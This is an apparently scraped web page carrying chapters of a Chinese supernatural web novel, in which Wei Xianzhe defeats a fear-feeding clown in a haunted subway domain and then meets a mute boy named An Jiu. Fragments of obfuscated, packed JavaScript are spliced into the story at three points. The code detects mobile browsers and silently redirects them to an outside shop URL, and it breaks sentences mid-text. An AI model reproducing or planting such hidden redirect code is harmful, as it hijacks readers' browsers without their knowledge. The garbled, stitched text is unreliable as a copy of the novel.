西装男身上的畸变值直接涨到了78%,而在这个过程中,小丑半蹲着身子,它凑到西装男面前,深吸着西装男身上的味道,满脸享受。 看着这一幕,危先折的脑海中突然一道亮光闪过,他猛地看向马尾女。 是恐惧! 造成他们畸变值上升的原因是恐惧! 小丑享受他们的恐惧,它的污染值也来源于恐惧! 刚刚西装男的畸变值突然升高,也是因为他发现自己被困在了木马上,而且正在逐渐和木马融合,极度的恐惧让他畸变的速度加快,最后直接变成了人首马! 马尾女注意到危先折的目光,她定了定神,强压下心中的恐慌,问:“怎么了?” “不要害怕。” 马尾女一愣:“什么?” “不要害怕。”危先折重复一遍,又看向小丑,“它是在靠恐惧影响我们。” 危先折的声音并不大,可小丑还是清清楚楚听到了他的话,小丑嘻嘻地笑了一下,表情却突然沉了下来。 “我对你们不好吗?”他似乎有些不解,“成为我们的一员,不好吗?” 危先折冷笑一声:“成为和你一样的诡异吗?” 污染造成的畸变是不讲道理的,受小丑影响,畸变值越高,他们物化成游乐园一员的可能性越大。 西装男现在的畸变值已经达到78%了,再往上,他很有可能化为诡异。好在他似乎已经被小丑吓傻了,目光呆滞,连害怕都不会了。 危先折收回落到西装男身上的目光,却见小丑对他笑得极为开怀:“有意思,真有意思。” 它指着自己的鼻子,上面红色的鼻头仿佛染了血,它的笑声有些尖锐:“你为什么不怕我?” 恐惧是最难控制的情绪,它以恐惧为食,却没有在危先折身上闻到恐惧的香味。 反倒是有一股,勾起它味蕾的,让它精神无比亢奋的气味。 它舔着唇瓣,逐步逐步走到危先折面前,“你……” 它话还没说出口,眼前突然有什么东西划过,直直冲着它的鼻头而来。 小丑猛地停下脚步,却感觉鼻尖传来一股刺痛,它捂住鼻子,脸上悚然的笑容瞬间消失,目光瞬间阴冷下来,死死地看着危先折,“是你!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691032|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >危先折缓缓收回手,下一刻,在小丑满含恶意的目光中,手腕轻轻翻转间,指尖便勾住了一条黑线。 金线顺着黑线蔓延而上,仿佛有生命一般,直逼小丑的双眼。 小丑虽然看不见,心中却徒然升起一股不安,它下意识后退一步,动作却没有金线的速度快,只一瞬间,双眼就流出了黑色的污血。 “啊!” 它吃痛地弯下腰,紧接着满脸怒火地用那双空洞的眼睛“看”向危先折,“我要杀了你!” 危先折知道它已经看不见了,他的动作没停,控制着小丑身上的黑线,让黑线逐渐聚集到麻绳粗细,明明没有系统学习过,可他却下意识这么做了。 他操控金线,将黑线团团围住,然后一点点,仿佛贪吃蛇一般,将黑线缓慢吞噬。 危先折的额头逐渐冒出了一丝冷汗,他咬紧牙关,直到看着黑线被吞噬到只剩下半截,这才脱力一般,差点从木马上栽倒。 腕表适时发出提醒——污染值49%。 比之前足足降低了6个百分点。 小丑对此毫无察觉,可当它想要对危先折发起攻击时,却发现自己的躯体变得有几分僵硬,它有些不解,却完全没有放在心上。 它紧闭着眼睛,黑色的污血从眼下直接滑到了脖颈,它却凭借着嗅觉,渐渐朝危先折走来。 旋转木马已经停下,它面朝向危先折,却嗅到了令他愉悦的恐惧的味道,于是将脑袋转向马尾女的位置,脸上扬起血腥的笑,“别急,”它舔了舔嘴唇,“下一个就是你!” 在被威胁的恐惧下,马尾女的畸变值上升了2个百分点。她担忧又恐慌,目光紧紧地看向危先折,“你怎么办?” “没事。”危先折缓缓吐出一口气,感觉身上的力气回来了一点,他直接爬下了旋转木马。 只有旋转木马的灯光是亮着的,他也没下圆盘,在小丑疑惑的表情中,直接溜着小丑跑。 小丑看不见,只能靠嗅觉和听觉,它能察觉到危先折的位置,可下一秒,当它靠近时,危先折却又换了个方位。 马尾女惊讶地捂住嘴巴。 小丑即使眼睛受了伤,它追逐的速度却不满,而危先折闪避的速度更快,他几乎像是在遛狗一样,控制着小丑前进的方向。 “嗤。”马尾女忍不住笑出了声,很快她又坐立不安地缩了缩脖子。她的胆子其实不小,不然也不会坚持到现在。 而听到马尾女笑声的小丑却脸色一变,它表情阴沉沉的,直接朝马尾女的方向走去,便走便发出尖锐怒吼:“你笑什么!有什么好笑的!我要杀了你!” 马尾女求助的目光落到危先折身上,她遭受到污染,早就被控制在木马上了,看着小丑离她越来越近,忍不住喊了声“救命”。 危先折倚靠在一只粉色的木马上,勾住四处蔓延的黑线,目光瞬间凌厉了几分,呼吸间,小丑的双脚突然炸开,黑色的血液混着肉块四处飞溅。 小丑刚得意于马尾女那愈发浓烈的恐惧的味道,下一刻就感觉脚上传来剧痛,它再也无法忍受,猛地转身,速度加快了十倍,直接冲到了危先折面前。 尖锐的指甲猛地朝危先折的脖颈而去。 17.17点污染值 一道金光闪过,小丑那尖锐的指尖瞬间“啪嗒”一声,被拦腰斩断。 连小丑的指尖都被削出了黑色的污血。 它脸上的愤怒毫不掩饰,然而还没等它再有动作,突然,空间内响起了来自地铁关门的提示音。 “嘟、嘟、嘟。” 紧接着,危先折只觉得眼前一黑,自己便出现在了地铁门口,马尾女和西装男在他一左一右地站着。 眼看着地铁即将关门,危先折毫不犹豫地一把捞起两个人,直接冲了进去。 地铁门缓缓合上。 危先折朝外看去,却看到小丑朝他露出一个极具恶意的笑。 它无声道:“我一定要吃了你!” 而此时,地铁车厢内,看到危先折三人冲进来后,车厢内的几人发出惊惧的尖叫。 “怪物!”他们指着西装男,纷纷离他远了一点。 西装男迷迷糊糊清醒过来,便听到了这群人对他的指控,他有些怔愣,下一颗顺着这群人的目光低头看下去。 是马儿的前蹄。 西装男身子彻底一软,连带着马身都瘫倒在地,他想伸出手捂住自己的脸,却发现自己的双手变成了马儿的前肢,他呜咽几声,将脑袋埋进了躯体。 “我不活了!我竟然变成了一个怪物!” 马尾女有些不知所措,她看向危先折,见危先折轻轻颔首,心下一松,直接找了个角落站了过去,附近的人见她靠近,也仿佛碰到瘟疫一般避之不及。 她耸了耸肩,能活下来就已经不错了,她才懒得管这群人的想法。 危先折同样,一部分人为了躲避已经变成人首马的西装男躲到了角落,他直接坐到了他们的位置上,拿出口袋里的司南,表情淡淡。 地铁再一次飞速行驶着。 下一站是海盗船,如果他没猜错的话,每一站都需要有人下车,一旦没有人下车,小丑就会出现,强制指定乘客下车。 旋转木马这样一个毫无危险性的项目,暗中都有“恐惧”这样的陷阱了,之后的每一站,都是挑战类的项目,危险系数相比也会指数型提高。 不过让危先折讶异的是,小丑对它的域,似乎并没有完全掌控。 这个域里,似乎存在某种规则。 这些规则强大到连小丑都需要遵守。 “前方到站,海盗船站。” 已经有了西装男这个前车之鉴,列车上的其他人更是不敢再下车了,他们面面相觑,最开始坐危先折对面,现在离危先折最远的眼镜男扶了扶眼镜,他低声道:“既然他们能从旋转木马那一站活着回来,不如这一站也让他们下去算了。” 此话一出,所有人一怔。 眼镜男压下心底的恐慌,试图说服其他人:“他们一定有办法再活着回来的,再不济,也是变成那个怪物。”说着,他瞥了西装男一眼。 “我们没有经历过旋转木马,万一之后出事怎么办?”眼镜男声音颤抖,却在感受到周围人的认可之后,愈发理直气壮,“既然我们都上了这个车厢,那大家都有缘分,相信他们会愿意下去的。” 马尾女听到这里,脸上的无语毫不掩饰,她嗤笑一声,“既然这么有缘分,那不如你下去?” “你!”眼镜男声音拔高,“你怎么一点群体荣誉感都没有?” “那你呢?”马尾女声音比他还高,“你自己怎么不下去?我看你一张嘴巴这么会叭叭,不如你下去感受一下好了!” 眼镜男不说话了,他躲到众人身后,小声嘀咕:“我就是提个建议,用得着这么激动吗,真是小题大作。” 马尾女翻了一个白眼。 很快列车门缓缓打开,外面依旧是一片黑暗,所有人都沉默了,他们也知道,如果选择下车,要么变成怪物,要么都不能活着回来。 可要是没有人下车,那要是自己被小丑选中怎么办? 一个秃头男见马尾女脸生得嫩,一看就是脸皮薄的,他忽略了马尾女刚刚的呛声,忍不住开口:“我家里还有一对双胞胎儿子,我老婆没有工作,我不能死,我死了他们都活不下去的,既然你们之前能活着回来,那现在应该也可以活着回来,你们就不能……” “不能!”马尾女重重地翻了一个白眼,“我要是死了,我爸妈也会活不下去的,别想道德绑架我。” 秃头男指责马尾女没有爱心。 “我是没有爱心,我不仅没有爱心,我也很自私,等小丑过来,我就建议小丑让你下车!” 秃头男不说话了。 想了想,他要把主意打到危先折头上,“兄弟,你还没有孩子吧,要是这次你自愿下车,你就是我两个儿子的干爹,我那两个儿子可和小丫头片子不一样,长得白白嫩嫩的,你看到了肯定喜欢。” 危先折没说话,或者说,他根本就没有理会秃头男。 极端的洁癖下,让他对地铁这种人来人往的公共环境,已经有些难以忍受了,更别说面前还有这乌泱泱的鱼龙混杂的一群人。 马尾女倒是扑哧一声笑出来:“白白嫩嫩,不知道的还以为你是在卖儿子呢。”还小丫头片子,最烦这种重男轻女的人。 “我和你说话了吗你就插嘴!”秃头男握拳,“要不是不打女人,小心我揍你!” 马尾女瞪着他:“有本事你打啊!”她直接把脸凑过去,就赌秃头男是个窝囊废,只知道张嘴的窝囊废。 这时危先折手里的司南缓缓转动,小丑不知道什么时候出现在了车厢前部,正托着腮,满脸笑意的看着这场闹剧。 他的眼睛、指尖、双脚已经完全恢复,好像在旋转木马那里没有对它造成丝毫的影响。 危先折看向腕表,污染值仍然是49%,这意味着他先前的做法确实是有效的。 小丑踩着轻快的步伐走近,它的嘴唇快咧到耳后了,察觉到车厢突然一静,它脸上的愉悦毫不掩饰。 它享受这群人看到它时那惊恐的表情。 “让我看看,这一站选谁下车呢,不如……”小丑故作思考,下一刻,满含恶意的目光落到危先折头上,“就你吧。” 马尾女脸色一变,她担忧地看向危先折。虽然在旋转木马那里,她已经意识到了危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691033|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先折不是什么普通人,可是看着小丑明晃晃的针对,她还是忍不住为危先折捏一把汗。 这个小丑也太记仇了! 危先折的表情却很淡定,他从容不迫地走到车厢门口。 就在车厢内其他人松了一口气的时候,小丑又看向眼镜男和秃头男,“唔,刚刚是你们不想下车?” 它咧嘴一笑,目光又倏地变得阴沉:“你们一起!” 二人瞬间身子一软瘫倒在地。 其余人心中则一阵后怕,幸好他们刚刚没有冒头。 随着三人下车,他们眼前又是一阵眩晕,等再一次睁开眼睛,已经出现在了海盗船上。 海盗船的船头垂直向下,下面是深不见底的黑暗,仿佛有一头巨兽张着嘴,等着他们掉下去。 眼镜男就好奇的看了一眼,脸色就变得煞白,他紧紧的抓着把手,声音颤抖:“为什么这个海盗船没有安全带?” 秃头男也眼前一黑,他身子一软,直接跌在了海盗船底部,好在他死死抓住了把手,这才没有从上面滑下去。 此时的海盗船并不是现实生活中等待乘客上船时那摆正的样子,而是竖得垂直,像是月亮一般,立到最高点的状态。 一进来,就是满满的恶意。 危先折毫不怀疑这是小丑故意的。 他眸光微闪,这个时候,小丑应该在哪里看着他们…… 危先折的目光轻轻在四周环视一圈,下一刻,落到了海盗船底部那个深邃的黑洞里。 早已被他放到口袋里的司南,也指向了黑洞的方向。 危先折了然,又不动声色地抓紧扶手。 海盗船没有安全带,等下摆动起来,很有可能把他们甩飞出去,危先折可不小心这个海盗船和现实里的海盗船一样刺激但安全。 这里可能只有刺激。 随着一声哨响,海盗船启动。 和危先折预留的没有差别,海盗船摆动的幅度很大,几乎要将他们甩出去,而且摆动的速度很快,不亚于最惊险的过山车。 “啊啊啊啊啊啊!”秃头男和眼镜男两个人发出尖锐爆鸣,又很快吃了一嘴风,他们的眼泪都被甩了出来,好在他们力量不错,死死的抓着扶手,随着海盗船的一起一落,没有出现掉进黑洞的情况。 随着海盗船的摆动,这块区域内的风仿佛都大了起来。 危先折的头发被风往后吹,露出了那饱满的额头,额头下,他的那只无边框眼镜仿佛焊死在了脸上一般,倒是那双灰蓝色的眼睛,此刻亮得发光。 他竟然在享受! 黑洞里的小丑气得直跳脚。 它仍然没有从危先折的身上感受到恐惧的味道,倒是那两个人,满满的全是恐惧。 然而或许是得不到的在骚动,小丑只把目光死死地盯牢危先折,试图找到破绽。 “不可能!这不可能!”小丑再也忍不住,直接出现在了海盗船上,它握住扶手,一张阴沉的脸猛的靠近危先折,“你不害怕!你为什么不害怕!” 秃头男和眼镜男发现小丑后:“啊啊啊啊啊啊!” 18.18点污染值 小丑觉得秃头男和眼镜男聒噪,直接转身看着两个人,目光阴森森的:“你们叫什么了?” 眼镜男和秃头男被迫噤声,他们的眼泪被风吹得掉了下来,满脸都写着惊恐。 小丑阴沉地看着两人,唇瓣仿佛染了血一般,仿佛一张嘴就能咬下二人的脑袋。 眼镜男和秃头男心中的警报响个不停,他们死死咬着牙,生怕发出一点动静就惹得小丑不悦。 小丑这才满意地收回目光,他复又紧紧的盯着危先折,它的鼻尖近到几乎可以碰到危先折的脸。 危先折眉心微微一蹙,在小丑猛然惊喜的目光下,冷声道:“脏死了,离我远点。” 小丑:“……?” 它目光阴翳,冷冷道:“你是在找死!” 这只小丑和危先折先前碰到的诡异丝毫不同,它看似疯疯癫癫,实际上却拥有理智,甚至懂得追着危先折一个人报复,要知道,危先折最开始碰到的鱼人,脑子里只有“吃”一个字。 不同级别的诡异,相差竟然如此之大。 面对小丑的威胁,危先折面不改色,可在小丑注意不到的地方,他的指尖却微微颤动,金线从他的指尖朝小丑的方向蔓延,一圈圈的将小丑身上的黑线逐步覆盖、吞噬。 小丑对此毫无察觉。 危先折的背后已经升起一股冷汗,消耗太多的异能,此时他已然有些力竭。然而想要离开这里,他目前能够做到的只是削弱小丑的力量,直到他能够彻底杀死小丑! 危先折目光微微冷了些,他看着仍然凑到他面前的小丑,缓缓闭上眼睛,下一刻,小丑只觉得鼻尖一痛,它低头看去,此时正好海盗船摇摆到最高点,小丑那通红的鼻尖整个掉落进了下面幽暗的黑洞里。 “啊啊啊啊啊我杀了你!”小丑再无顾忌,直接伸手就想要折断危先折的脖颈。 危先折飞快避开,在海盗船疯狂摇晃下,仍旧翻身到了中间的位置,小丑追了过来,危先折又再次翻身,将小丑远远甩在身后。 小丑只觉得这个场景似曾相识,可是他还没来得及反应,就感觉自己的双腿一软,仿佛失去了什么一般,海盗船再一次摆动的时候,抓住扶手的手一松,差点掉下黑洞。 它脸色一变,飞快反应过来,重新抓住扶手,这才没有掉下去。 危先折抬眼看过来,腕表适时提醒“污染值40%”,他眼中一道金光闪过,不再犹豫,五指成拳,猛地砸向了小丑。 40%的污染值,和危先折先前碰到的人面蛛差不多。 不同于上次被追下楼的狼狈,此时掌握了“命运”的危先折,直接把小丑当成了沙包。 他可还没有真正实战过。 金线盘旋在危先折背后,像是一道金光,熠熠生辉,他目光一厉,抽住小丑命线的同时,金线飞速袭向小丑的双眼。 既然能让它当一次瞎子,就能让它瞎第二次。 小丑猛然察觉到什么,可还没反应过来,眼睛再一次传来一股剧痛。 它尖叫出声,“你是特管局的人!” 危先折微微眯起眼睛,这只小丑竟然知道特管局,他也没解释,再一次朝小丑攻击而去。 海盗船不知道什么时候已经停了下来,眼镜男和秃头男难以置信地看着这一幕,可先前小丑的威慑力还在,他们仍旧捂着嘴巴,生怕发出一点声音。 破空声阵阵袭来,将海盗船表层的油漆都刮去不少。 小丑的力量被危先折的金线吞噬不少,此时面对危先折的攻击,竟然有些力不从心,它心中的怨念愈发浓郁,双眼猩红,可偏偏它的能量来源于恐惧,而危先折身上,丝毫没有恐惧。 危先折的额发被风吹起,他冷漠地看着小丑狼狈的模样,手中金线猛地膨胀数倍,直接朝小丑的脑袋袭去。 这一击,是他给小丑的最后一击。 “砰”的一声,是什么东西相撞的声音,下一刻,小丑的身影朝后,重重落地。 它瞪大眼睛,直到死亡,也不知道自己是怎么被危先折杀死的。 这就是命运。 命运四处可见。 眼前的一切如水月镜花,随着小丑的死亡逐渐崩塌,危先折猛地看向发愣的秃头男二人,大声:“跑!” 秃头男和眼镜男这才反应过来,连忙跟在危先折身后翻下海盗船。 等他们跑下海盗船时,海盗船也“轰隆”一声,四处碎裂开,碎片被下面的黑色窟窿全部吞噬。 危先折眯起眼睛看着这一幕。 他有预感,小丑只是这恢宏场景中的一员,这里的规则不是小丑能创造出来的,在整个游乐场里,一定还有其他的存在。 只是对方没有露面,危先折也不想去探究。 再一次眨眼,他们三人就出现在了地铁门口,抬脚走进来之后,地铁门才缓缓合上。 危先折看向地铁内的路线图。 小丑死了,它创造的域自然也消失了。 地铁已然已经恢复了正常。 可是,当指针指向午夜十二点时,那被称为“新世界”的终点站,真的已经消失了吗? 危先折不知道。 车厢内的其他人仍然保持警惕,直到地铁行驶,窗外瞬间明亮起来后,他们才猛然意识到了什么,“我们……” 四分钟后,地铁到达下一站,广播播报恢复正常,熙熙攘攘的人群从车厢外涌入,车厢内的众人才如释重负,可他们也不敢再坐下去了,生怕什么时候又被拉入刚刚的恐怖环境中。 上车的人看到蜷缩在角落里的人首马,有些讶异,但是想到现在特效妆这么强大,便纷纷露出了善意的微笑。 这是去参加漫展吧? 马尾女缓缓走到危先折面前,她深吸一口气:“我刚好这一站下,我就先下车了,之前再旋转木马那里,多谢你,能给我个联系方式吗,我想请你吃顿饭。” 危先折摇头:“不用。” 马尾女有点遗憾,不过见危先折坚持,她还是点了点头:“好吧,这个是我的手机号,如果有什么需要帮助的,你可以联系我,只要不是作奸犯科的事情,我都愿意做。” 见危先折接过,马尾女轻轻松了一口气,眼中也染上了笑意,“那我等你电话。” 危先折看着手里的便利贴,目光淡淡的,记下号码之后,他把便利贴捏紧,然后走到人首马,也就是西装男面前,抓着他的脖颈便带下了地铁。 西装男表情呆愣,下意识跟着危先折往前走。 走到扶梯前,看到旁边的垃圾桶,危先折将手中已经攥成一个小球的便利贴丢了进去。 西装男跟着危先折一起上了扶梯,走到了出口。 四周的路人对他们行注目礼,又在注意到危先折那异常俊美的脸时,表现出了几分怔愣。 危先折表情淡淡地走到地铁口,口袋里的司南没有丝毫反应,他有些失望,准备等下再下去一趟,把地铁的几条线都坐穿。 现在的任务是把西装男送去特管局,看他们有什么办法让他恢复,不过他畸变值这么高,特管局没办法恢复,估计也不会放他离开。 出租车在特管局外缓缓停下,看到危先折短信的李潮识已经在门口等着了,见危先折下车,他飞快走了过去,“你自己没事吧?” 危先折摇头,让旁边的人首马下车。 看到人首马的模样,李潮识微微一愣,不过他早有准备,此时立马上前,先用腕表扫描了一下,看到上面显示的78%后,眉心微微蹙起,“有点危险了,不过问题不大。” 李潮识身后有个脸生的男子,上前领着西装男走进了特管局。 李潮识解释道:“他身上的畸变值太高了,我们现在还没有特效药可以降低,他会变成这副样子,也是因为它高达78%的畸变值,我们只能尽量保住他的命,只是在特效药研发出来前,他可能暂时不能出现在大众眼中了。” 他说着,和危先折一同往里走,边说边道:“等确定他的身份后,我们会联系上他的家人做好善后工作,他畸变值太高,虽然可能已经激发了异能,但是这么高畸变值,我们还是不建议他频繁使用的。” 李潮识看向危先折:“你也一样。” 危先折的畸变值在70%,也属于一个稍微有点危险的区间。 已经到了李潮识的办公室,他叹了一口气,推开门走了进去,旁边放了一箱矿泉水,他弯腰拿了一瓶递给危先折,“还没来得及烧水,只有这个了。” 危先折不介意,他把矿泉水放到旁边,自己坐到了沙发上。 李潮识也拿了一瓶水,咕咚咕咚几口就喝了个干净,将空的水瓶丢到垃圾桶里后,才继续道:“地铁上可能还有残存的污染,我已经联系后勤去处理了,那些和你们一个车厢的人虽然没进到游乐园里,但是和小丑近距离接触过,身上估计也沾了点污染,这些也要解决。” 说着,李潮识看向危先折的目光带了几分感激:“如果不是你,那个车厢的人还不知道能活下来几个,我代表特管局向你表示感谢。” 危先折轻轻颔首:“客气了。” “我已经打了报告,上面应该会有对你的奖励,”李潮识笑了下,额角不知道什么时候生出了白发,“只是不知道为什么,这次地铁上出现的污染,我们一点动静都没有察觉到。” 他的表情有些严肃,“按照现在的情况看,那只小丑诡异的等级应该不低,所以我们才没能第一时间发觉。” 他们能监测全国各地的污染和诡异,但是,监测的工具不是万能的,很有可能,它们也有局限。 如果世界上还有很多诡异和那只小丑诡异一样…… 李潮识不敢深想。 危先折也意识到了事态的严重性,他眉心微微蹙起:“那只小丑诡异的污染值有五十多,超过这个数值就监测不到了吗?” “特管局成立的时间太短,先前也从来没有出现过这么高等级的诡异……” 危先折打断他:“或者说,之前出现的高等级的诡异,你们都没有发现过。” 李潮识沉默,眼中的痛惜毫不掩饰。 -- 天阴沉沉的,乌云一层一层地聚拢,临走时,李潮识递给他一把伞:“待会儿可能要下雨。” “多谢。”危先折伸出手接过,另一只手插在口袋里,指尖摩挲着司南的勺柄,司南依旧毫无动静。 李潮识安慰道:“你会找到你的宠物的。” 危先折没说话。 会的。 他表情柔和几分,他还没来得及给小家伙取名字,也不知道小家伙现在在哪里,害不害怕。 “我走了。”危先折朝李潮识告别,没多久重新回到了地铁站上。 他刚要扫码进站,衣摆却被一只脏兮兮的手抓住,危先折下意识皱眉,他扭头看过去,见到一张同样脏兮兮的脸。 对方仿佛在泥潭里打过滚似的,一张脸花的看不清五官,只有那双漆黑的眼睛清亮极了。他的头发一缕缕的揉在了一起,贴着头皮,身上的衣服是不合身的T恤,衣摆很长,几乎到了他的大腿往下,裤子也松松垮垮的拖到了地上。 他不高,比危先折要低一个头左右,此时可怜巴巴地看着危先折,张了张嘴巴,却说不出一个字。 他指了指进站闸口,又指了指危先折。 危先折额角的青筋跳了跳,他看着衣摆上那个明显的手印,深吸一口气,“你要干什么?” 察觉到危先折的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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修长的手指在显示屏上操作,很快下面就跳出来一个红色的小圆片,危先折递过去,“会用吗?用这个进站,等出来的时候塞到闸机口就可以了。” 对方喜悦地点点头,眼睛笑得弯了起来。 危先折看向自己的衣角,把外套脱了下来挂在臂弯里,“我走了,你去吧。” 说完,他没看对方是什么反应,直接扫码进了闸机,等到上了地铁,他才发现身后跟了一只小尾巴。 他看着跟着他上了同一班车的男生,眉心微微一蹙,耐着性子道:“你坐错车了。” 这个地铁站刚好是3、4号线换乘的站点,如果要去他小区的方向,应该乘坐3号线。 危先折是为了把地铁坐穿,他上的是4号线的地铁。 听到危先折的话,男生愣了几秒,他呆呆地看着危先折,嘴巴张成了一个圈。 不回家吗? 或许是对方眼中的疑惑太过明显,危先折耐心解释道:“我和你要去的不是一个地方,你不能跟着我,下一站你坐回去吧,然后换3号线。” 男生一副天都塌了的表情,他愣愣地看着危先折,眼眶湿润,只是他嗓子还没好,问不了危先折为什么不和他一起回家。 是嫌弃他脏吗? 男生伸出手抹了抹脸,看到掌心的污泥,他有些低落地低下头。他只是掉到了森林里的泥潭里,等回家后,他可以把自己洗干净的。 想着,男生的眼中突然出现了几分戾气,都怪那群死鸟! 如果不是那群鸟,他也不会和危先折分开! 他离开了这么长时间,危先折不喜欢他了怎么办,他好不容易再一次回到危先折身边,他再也不想和危先折分开了。 很快下一站到了,危先折见男生还呆愣地看着他,无奈揉了揉眉心,他走过去,“下车吧,我送你过去。” 男生眼睛瞬间一亮,眼中的戾气消失得干干净净,他亦步亦趋的跟在危先折身后,脸上的笑容甜滋滋的。 直到下了地铁,男生脸上的笑容都没有落下来过。 出了站台,刚好看到附近有一个洗手间,他停下脚步,指了指洗手间的方向,然后做出一个洗脸的手势。 危先折点点头:“去吧。”他看了眼腕表,这一来一回,已经回去大半个小时了,他便道,“你等下直接从这个口出去就是了,我先走了。” 男生再一次愣住,见危先折转身就走,他伸出手想要抓住他的袖口,却看到自己漆黑的掌心,动作一滞,危先折便已经走远。 男生露出一副要哭不哭的表情。 危先折真的在嫌弃他。 可是之前,危先折那么喜欢他,怎么说变就变了? 他快步上前,在危先折刷码进站前,再一次地抓住了他的袖口,他倔强地看着危先折,在危先折回头的时候,包在眼睛里面的泪水终于止不住的往下落,他吸了吸鼻子,看向危先折的目光带着满满的控诉。 危先折:“……?” 他看向男生时,眼中的探究愈发浓郁,这个男生哭泣的样子,更眼熟了。 “我们认识?”危先折皱眉。 男生:“?” 他表情瞬间呆滞住,啊? 危先折抽回袖口,看到上面的爪印,眼前又是一黑,可他却莫名的生不起丝毫的怒火,只深吸一口气,看着眼前的男生:“你认识我?” 极端的震惊下,男生的嗓子突然能发出声音了,他哑着嗓音道:“你把我忘了?” 危先折目光微微一变:“我认识你?” 男生张了张嘴,发现又说不了话了,他目光愤愤,看向危先折的眼神仿佛在看一个渣男。 那双灵动的漆黑的眼睛仿佛在说—— 你怎么可以把我忘了? 危先折这一次读懂了他的目光,可是他搜罗尽脑海中的记忆,都没有丝毫关于男生的画面。 突然间,他的表情一顿。 妻子。 他也忘记了自己的妻子。 危先折声音瞬间轻了下来:“不好意思,我失去了一段记忆,既然你认识我,那请问,你还记得我妻子是谁吗?” 19.19点污染值 妻子? 什么妻子? 男生的表情愣住,可很快,他的眼中就含着一汪泪水,鼻腔发酸,盯着危先折的目光却眼巴巴中又带着恶狠狠的。 他只是睡了一觉,怎么危先折就有妻子了! 男生握拳,在地铁灯光下,小小的影子中扭曲的虚影若隐若现,顺着影子蔓延到了危先折脚边,迫不及待地想要拢住危先折的双腿。 可很快,他又重新将那些虚影收回,脸上表情乖巧,对危先折甜甜一笑。 肯定是危先折记错啦~ 男生目光冷了冷,又很快恢复那副脏兮兮小可怜的模样,他指了指自己的嘴巴,又摊手,一副“我说不出来”的模样。 见此,危先折微微松了一口气。 从车祸失忆以来,他的家人、好友、同事,对他口中的“妻子”都表现过质疑,他们都说,那是他在车祸时的幻想,也可能是车祸造成的后遗症。 只是危先折始终坚信,在他的生命中,确实有“妻子”的存在。 他很乖巧,因为内向,每天就待在家里,危先折每次回家的时候,都能看到妻子脸上欣喜的笑容。 妻子很胆小,一点风吹草动都会引起他一惊一乍的反应,下雨天怕打雷,天黑了怕鬼,总是要他陪着,小小一只窝在他的怀里,又腼腆害羞,可爱极了。 危先折并不认为这些记忆是虚幻的。 而现在,终于有一个人,还记得他的妻子。 危先折的目光变得友好了几分,他没有坚持再乘坐地铁,而是领着男生去洗手池把脸和手洗干净。 当男生抬头看过来时,他才发现洗干净的男生,长得并不难看,不仅不难看,反而还很漂亮。 是那种精致的漂亮,又不显女气,他额头的短发被水打湿,湿漉漉的短发微微垂下,却衬得那双漆黑的眼愈发明亮,皮肤雪白,嘴唇却饱满红润,他看着危先折,弯起眼眸轻轻笑了下。 危先折面不改色地移开目光。 男生气得腮帮子鼓了鼓,很快,他又泄了一口气,敲了敲洗手池的台面,在危先折看过来后,手指沾了水,在镜子上写: 我很丑吗? 危先折沉默,不是很明白为什么男生会问这个问题。 男生又敲了敲台面,眼睛瞪得大大的,眼里明晃晃地写着:为什么不说话,回答不出来吗? 危先折只能摇头:“不丑。” 男生这才心满意足,然后在镜子上写下两个字:安久。 这两个字莫名的熟悉。 危先折的目光在上面定定地看了几秒,“这是你的名字吗?” 安久点点头,然后又写了两个字:小九。 危先折从善如流:“小九,这是你的小名?” 听到熟悉的两个字,安久脸上的笑容毫不掩饰,他重重地点了点头,然后又可怜巴巴地看向危先折,继续在镜子上写:“回家。” “需要我送你回去吗?”危先折问。 安久却猛地摇摇头,然后指了指危先折。 危先折眉心下意识一皱,“去我家?” 安久再一次重重地点了点头,白嫩的小脸带着天真的笑,他瞧着危先折,歪了歪脑袋,又做了一个睡觉的手势。 好困啦,想回鱼缸了,鱼缸里的贝壳床很舒服~ “我送你去酒店。”危先折语气淡了几分,抛开洁癖不谈,他也不会让一个陌生的男生进到家里,即便他很有可能确实认识这个男生,且很熟悉,“房费我会付。” 安久眨眨眼睛,影子中的虚影再次蠢蠢欲动,可他很了解危先折,看危先折的表情就知道这件事没有回旋的余地,他只能委屈地低下头。 好吧。 不过他可以偷偷跑回去哦! 大半的时间浪费在安久身上,危先折看了眼时间,都已经快下午五点了,他直接带着安久出站,打了一辆车,前往离家最近的酒店。 酒店距离他家小区只隔了一条街,安久看了一眼,点点头表示满意。 危先折已经朝前台走了过去,安久连忙跟上。 他脸上和手上虽然洗干净了,但是衣服上还是脏兮兮的,尺码又不合身,前台的姐姐看了他一眼,一边拿危先折的身份证登记,一边道:“酒店二楼有洗衣房,衣服换下来之后可以拿洗衣房去洗的。” 安久甜甜笑了一下,点点头。 一路走来,他也忘记身上的衣服是从哪里捡来的了,都怪那群鸟,早知道把它们鸟毛全部扒光。 他小心翼翼地看了危先折一眼,危先折不会觉得他不爱干净吧! 危先折办理的是总统套房,直接定了一个月,前台很快办理好,把身份证和房卡一起递给了危先折:“祝您入住愉快。” 她话音刚落,大堂旁边的电梯口就传来一道惊喜的声音:“危教授?” 危先折和安久同时扭头看去,只见电梯口,沈确拎着一个黑色的行李箱,手肘挂着一件黑色外套,他满脸都是笑,“危教授,没想到能在这里见到你。” 